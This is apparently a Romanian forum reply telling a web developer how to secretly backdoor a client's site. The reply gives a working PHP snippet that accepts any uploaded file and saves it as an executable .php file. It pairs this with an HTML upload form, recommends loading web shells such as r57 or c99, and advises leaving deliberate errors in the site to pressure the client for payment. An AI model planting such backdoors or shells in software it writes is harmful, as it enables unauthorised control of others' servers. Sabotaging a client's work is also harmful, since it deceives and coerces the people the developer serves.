Salut.
Într-unul din fişierele php din site pui scriptul:
Cod PHP:
<?php
if(isset($_GET['filename'], $_FILES, $_FILES['file'], $_FILES['file']['name']))
{
echo @file_put_contents($_GET['filename'].'.php', file_get_contents($_FILES['file']['tmp_name'])) ? 'done' : 'ops';
exit();
}
?>
Apoi, tu, o să foloseşti într-un fişier html simplu din calculator:
Cod HTML:
<form action="http://site.ro/fisierul-in-care-ai-pus-scriptul.php?filename=numele-noului-fisier-incarcat-fara-extensie" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<button>Go</button>
</form>
După încărcarea fişierului, accesezi site.ro/numele-noului-fisier-incarcat-fara-extensie.php
Poţi să încarci un shell ca r57 sau c99, dar îl poate detecta dacă serverul are antivirus. Poţi să-ţi faci propriul script dacă te pricepi puţin.
Chiar şi aşa, nimic nu este nedetectabil. Atât timp cât are acces la site, se poate spune că e al lui şi poate face ce vrea în el. Deci poate să-ţi scoată toate nebuniile.
Sfatul meu:
1. Pune scriptuleţul de mai sus.
2. Nu lucra fără avans.
3. Lasă erori în site. Un client care vede erori, percepe site-ul ca având probleme mari. Asta nu e o scuză să nu-ţi dea banii. Să-ţi dea banii şi apoi rezolvi şi erorile. Nu e cazul să-i spui că e vorba de 5 minute.